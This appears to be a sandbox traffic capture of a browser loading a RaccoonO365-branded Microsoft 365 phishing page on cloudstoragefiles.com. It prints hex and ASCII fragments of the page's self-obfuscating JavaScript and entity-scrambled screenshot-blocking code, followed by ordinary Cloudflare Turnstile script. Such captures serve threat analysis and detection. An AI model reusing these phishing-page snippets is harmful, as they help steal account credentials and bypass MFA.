2024-09-29 13:45:50 UTC	403	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 34 32 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 36 32 2e 31 37 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6c 6f 75 64 73 74 6f 72 61 67 65 66 69 6c Data Ascii: [{"age":0,"body":{"elapsed_time":2421,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.62.177","status_code":403,"type":"http.error"},"type":"network-error","url":"https://cloudstoragefil
2024-09-29 13:45:50 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Sun, 29 Sep 2024 13:45:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49738	104.21.62.177	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:45:58 UTC	804	OUT	GET /GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29 HTTP/1.1 Host: cloudstoragefiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:00 UTC	1127	IN	HTTP/1.1 200 RaccoonO365 2FA/MFA Service know what you seeks! Date: Sun, 29 Sep 2024 13:46:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Feature-Policy: camera 'none'; microphone 'none' Referrer-Policy: no-referrer X-Content-Type-Options: nosniff X-Powered-By: RaccoonO365 2FA/MFA Service X-Powered-CMS: RaccoonO365 2FA/MFA Service X-Robots-Tag: noindex, nofollow X-ServerName: RaccoonO365 X-ServerVersion: 3.5 X-Verified: true X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oht%2FxYt%2FZfgn56nOK1Cx5DiWQb%2F%2F7wT3um1fMGFn%2Fa9ISCOgjYnoKWxF2rE2E9YmT67fvmrWFC8CymECKDyuqUH1XIlsX1cgsg61iUjEAOd25wsehoiKloei26GMXekUoftF%2BkP5bsU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cac6aad3aaa440b-EWR
2024-09-29 13:46:00 UTC	242	IN	Data Raw: 37 62 33 37 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 0a 0a 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 76 61 72 20 6f 62 66 75 73 63 61 74 65 43 6f 64 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 63 6f 64 65 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 63 68 61 72 73 20 Data Ascii: 7b37<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body> <script>(function() { var obfuscateCode = function(code) { var chars
2024-09-29 13:46:00 UTC	1369	IN	Data Raw: 3d 20 27 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 27 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6e 65 77 56 61 72 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 20 20 20 20 63 6f 64 65 20 3d 20 63 6f 64 65 2e 72 65 70 6c 61 63 65 28 2f 76 61 72 73 2b 28 5b 61 2d 7a 41 2d 5a 5f 24 5d 5b 30 2d 39 61 2d 7a 41 2d 5a 5f 24 5d 2a 29 2f 67 2c 20 66 75 6e 63 74 69 6f 6e 28 6d 61 74 63 68 2c 20 70 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 6e 65 77 56 61 72 73 5b 70 31 5d 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 65 77 56 61 72 73 5b 70 31 5d 20 3d 20 63 68 61 72 73 5b 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e Data Ascii: = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; var newVars = {}; code = code.replace(/vars+([a-zA-Z_$][0-9a-zA-Z_$]*)/g, function(match, p1) { if (!newVars[p1]) { newVars[p1] = chars[Math.floor(Math.
2024-09-29 13:46:00 UTC	1369	IN	Data Raw: 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 33 63 3b 26 23 36 38 3b 26 23 36 35 3b 26 23 36 31 3b 26 23 36 34 3b 26 23 33 65 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 33 63 3b 26 23 37 34 3b 26 23 36 39 3b 26 23 37 34 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 33 65 3b 26 23 33 63 3b 26 23 32 66 3b 26 23 37 34 3b 26 23 36 39 3b 26 23 37 34 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 33 65 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 Data Ascii: 0;&#3c;DA=@&#3e;&#0a;&#0a;&#3c;JEJ&#6c;A&#3e;&#3c;&#2f;JEJ&#6c;A&#3e;&#0a;&#2
2024-09-29 13:46:00 UTC	1369	IN	Data Raw: 36 39 3b 26 23 37 36 3b 26 23 33 64 3b 26 23 32 32 3b 26 23 34 35 3b 26 23 37 38 3b 26 23 37 30 3b 26 23 36 39 3b 26 23 37 32 3b 26 23 36 35 3b 26 23 37 33 3b 26 23 32 32 3b 26 23 32 30 3b 26 23 36 33 3b 26 23 36 66 3b 26 23 36 65 3b 26 23 37 34 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 37 34 3b 26 23 33 64 3b 26 23 32 32 3b 26 23 33 30 3b 26 23 32 32 3b 26 23 33 65 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 33 63 3b 26 23 36 64 3b 26 23 36 35 3b 26 23 37 34 3b 26 23 36 31 3b 26 23 32 30 3b 26 23 36 33 3b 26 23 36 38 3b 26 23 36 31 3b 26 23 37 32 3b 26 23 37 33 3b 26 23 36 35 3b 26 23 37 34 3b 26 23 33 64 3b 26 23 32 32 3b 26 23 35 35 3b 26 23 Data Ascii: 69;L&#3d;-NFEHAI?&#6f;&#6e;JA&#6e;J&#3d;&#3e;&#0a;&#0a;&#3c;&#6d;AJ=?D=HIAJ&#3d;7&#
2024-09-29 13:46:00 UTC	1369	IN	Data Raw: 23 37 32 3b 26 23 36 39 3b 26 23 36 36 3b 26 23 37 39 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 36 37 3b 26 23 32 32 3b 26 23 32 63 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 32 3b 26 23 35 36 3b 26 23 36 35 3b 26 23 37 32 3b 26 23 36 39 3b 26 23 36 36 3b 26 23 37 39 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 36 37 3b 26 23 32 65 3b 26 23 32 32 3b 26 23 32 63 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 32 3b 26 23 35 36 3b 26 23 36 35 3b 26 23 37 32 3b 26 23 36 39 3b 26 23 36 36 3b 26 23 37 39 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 36 37 3b 26 23 32 65 3b 26 23 32 65 3b 26 23 32 32 3b 26 23 32 63 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 Data Ascii: #72;EBOE&#6e;C&#2c;&#0a;8AHEBOE&#6e;C&#2e;&#2c;&#0a;8AHEBOE&#6e;C&#2e;&#2e;&#2c;&#0a;&
2024-09-29 13:46:00 UTC	1369	IN	Data Raw: 26 23 37 34 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 37 33 3b 26 23 35 62 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 36 34 3b 26 23 36 35 3b 26 23 37 38 3b 26 23 35 64 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 36 34 3b 26 23 36 35 3b 26 23 37 38 3b 26 23 32 30 3b 26 23 33 64 3b 26 23 32 30 3b 26 23 32 38 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 36 34 3b 26 23 36 35 3b 26 23 37 38 3b 26 23 32 30 3b 26 23 32 62 3b 26 23 32 30 3b 26 23 33 31 3b 26 23 32 39 3b 26 23 32 30 3b 26 23 32 35 3b 26 23 32 30 3b 26 23 37 34 3b 26 23 36 39 3b 26 23 37 34 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 37 33 3b 26 23 32 65 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 36 37 3b 26 23 37 34 3b Data Ascii: J&#6c;AI&#5b;E&#6e;@AN&#5d;&#3b;&#0a;E&#6e;@AN&#3d;E&#6e;@AN&#2b;JEJ&#6c;AI&#2e;&#6c;A&#6e;CJ
2024-09-29 13:46:00 UTC	1369	IN	Data Raw: 3b 26 23 37 33 3b 26 23 36 38 3b 26 23 36 66 3b 26 23 37 32 3b 26 23 37 34 3b 26 23 36 33 3b 26 23 37 35 3b 26 23 37 34 3b 26 23 37 33 3b 26 23 32 30 3b 26 23 36 36 3b 26 23 36 66 3b 26 23 37 32 3b 26 23 32 30 3b 26 23 37 33 3b 26 23 36 33 3b 26 23 37 32 3b 26 23 36 35 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 37 33 3b 26 23 36 38 3b 26 23 36 66 3b 26 23 37 34 3b 26 23 32 30 3b 26 23 32 38 3b 26 23 35 37 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 36 34 3b 26 23 36 66 3b 26 23 37 37 3b 26 23 37 33 3b 26 23 33 61 3b 26 23 32 30 3b 26 23 35 30 3b 26 23 37 32 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 37 34 3b 26 23 35 33 3b 26 23 36 33 3b 26 23 37 32 3b 26 23 36 35 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 32 63 3b 26 23 32 30 3b 26 23 34 64 3b 26 23 36 31 3b 26 23 36 33 Data Ascii: ;ID&#6f;HJ?KJIB&#6f;HI?HAA&#6e;ID&#6f;J9E&#6e;@&#6f;MI&#3a;2HE&#6e;J5?HAA&#6e;&#2c;&#4d;=&#63
2024-09-29 13:46:00 UTC	1369	IN	Data Raw: 65 3b 26 23 36 33 3b 26 23 37 34 3b 26 23 36 39 3b 26 23 36 66 3b 26 23 36 65 3b 26 23 32 38 3b 26 23 36 35 3b 26 23 32 39 3b 26 23 32 30 3b 26 23 37 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 36 39 3b 26 23 36 36 3b 26 23 32 30 3b 26 23 32 38 3b 26 23 36 35 3b 26 23 32 65 3b 26 23 36 62 3b 26 23 36 35 3b 26 23 37 39 3b 26 23 32 30 3b 26 23 33 64 3b 26 23 33 64 3b 26 23 33 64 3b 26 23 32 30 3b 26 23 32 37 3b 26 23 35 30 3b 26 23 37 32 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 37 34 3b 26 23 35 33 3b 26 23 36 33 3b 26 23 37 32 3b 26 23 36 35 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 32 37 3b 26 23 32 30 3b 26 23 37 63 3b 26 23 37 63 3b 26 23 32 30 3b 26 23 36 35 3b 26 23 32 65 3b 26 23 36 62 3b 26 23 36 35 3b 26 23 37 Data Ascii: e;?JE&#6f;&#6e;A&#7b;&#0a;EBA&#2e;&#6b;AO&#3d;&#3d;&#3d;2HE&#6e;J5?HAA&#6e;&#7c;&#7c;A&#2e;&#6b;A&#7
2024-09-29 13:46:00 UTC	1369	IN	Data Raw: 37 32 3b 26 23 32 38 3b 26 23 33 35 3b 26 23 37 30 3b 26 23 37 38 3b 26 23 32 39 3b 26 23 32 37 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 37 64 3b 26 23 32 39 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 37 64 3b 26 23 30 61 3b 26 23 30 61 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 37 34 3b 26 23 32 30 3b 26 23 37 33 3b 26 23 36 33 3b 26 23 37 32 3b 26 23 36 35 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 37 33 3b 26 23 36 38 3b 26 23 36 66 3b 26 23 37 34 3b 26 23 35 34 3b 26 23 36 31 3b 26 23 36 62 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 32 30 3b 26 23 33 64 3b 26 23 32 30 3b 26 23 36 36 3b 26 23 36 31 3b 26 23 36 63 3b 26 23 37 33 3b 26 23 36 35 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 30 61 3b 26 23 36 36 3b 26 23 Data Ascii: 72;#FN&#3b;&#0a;&#7d;&#3b;&#0a;&#7d;&#0a;&#0a;&#6c;AJI?HAA&#6e;ID&#6f;J6=&#6b;A&#6e;&#3d;B=&#6c;IA&#3b;&#0a;&#0a;B&#
2024-09-29 13:46:00 UTC	1369	IN	Data Raw: 23 32 30 3b 26 23 36 36 3b 26 23 37 35 3b 26 23 36 65 3b 26 23 36 33 3b 26 23 37 34 3b 26 23 36 39 3b 26 23 36 66 3b 26 23 36 65 3b 26 23 32 38 3b 26 23 32 39 3b 26 23 32 30 3b 26 23 37 62 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 36 34 3b 26 23 36 35 3b 26 23 37 34 3b 26 23 36 35 3b 26 23 36 33 3b 26 23 37 34 3b 26 23 35 33 3b 26 23 36 33 3b 26 23 37 32 3b 26 23 36 35 3b 26 23 36 35 3b 26 23 36 65 3b 26 23 37 33 3b 26 23 36 38 3b 26 23 36 66 3b 26 23 37 34 3b 26 23 37 33 3b 26 23 32 38 3b 26 23 32 39 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 37 64 3b 26 23 32 39 3b 26 23 33 62 3b 26 23 30 61 3b 26 23 30 61 3b 26 23 32 66 3b 26 23 32 66 3b 26 23 32 30 3b 26 23 34 63 3b 26 23 36 39 3b 26 23 37 33 3b 26 23 37 34 3b 26 Data Ascii: #20;BK&#6e;?JE&#6f;&#6e;&#7b;&#0a;@AJA?J5?HAA&#6e;ID&#6f;JI&#3b;&#0a;&#7d;&#3b;&#0a;&#0a;&#2f;&#2f;&#4c;EIJ&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49741	104.18.94.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:01 UTC	612	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:01 UTC	356	IN	HTTP/1.1 302 Found Date: Sun, 29 Sep 2024 13:46:01 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/ec4b873d446c/api.js Server: cloudflare CF-RAY: 8cac6abffb2f431a-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49742	104.18.94.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:02 UTC	611	OUT	GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:02 UTC	441	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:46:02 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47262 Connection: close accept-ranges: bytes last-modified: Tue, 17 Sep 2024 16:06:37 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8cac6ac3acce7c9c-EWR
2024-09-29 13:46:02 UTC	928	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 56 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 67 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 61 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);funct
2024-09-29 13:46:02 UTC	1369	IN	Data Raw: 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 Data Ascii: ct.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function tt(e,r){return r=r!=null?r:{},Object.getOwnPropertyD
2024-09-29 13:46:02 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 48 74 28 65 29 7c 7c 42 74 28 65 2c 72 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 6a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 50 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 5d 26 31 29 74 68 72 6f 77 20 6c 5b 31 5d 3b 72 65 74 75 72 6e 20 6c 5b 31 5d 7d 2c 74 72 Data Ascii: function Ae(e,r){return Ht(e)\|\|Bt(e,r)\|\|qt(e,r)\|\|jt()}function P(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var a={label:0,sent:function(){if(l[0]&1)throw l[1];return l[1]},tr
2024-09-29 13:46:02 UTC	1369	IN	Data Raw: 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 47 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c Data Ascii: oaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Gt=300020;var Pe=300030;var Ue=300031;var q;(function(e){e.MANAGED="managed",
2024-09-29 13:46:02 UTC	1369	IN	Data Raw: 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 Data Ascii: al",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(function(e){e.EXECUTE="execute"})
2024-09-29 13:46:02 UTC	1369	IN	Data Raw: 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e Data Ascii: archParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params.
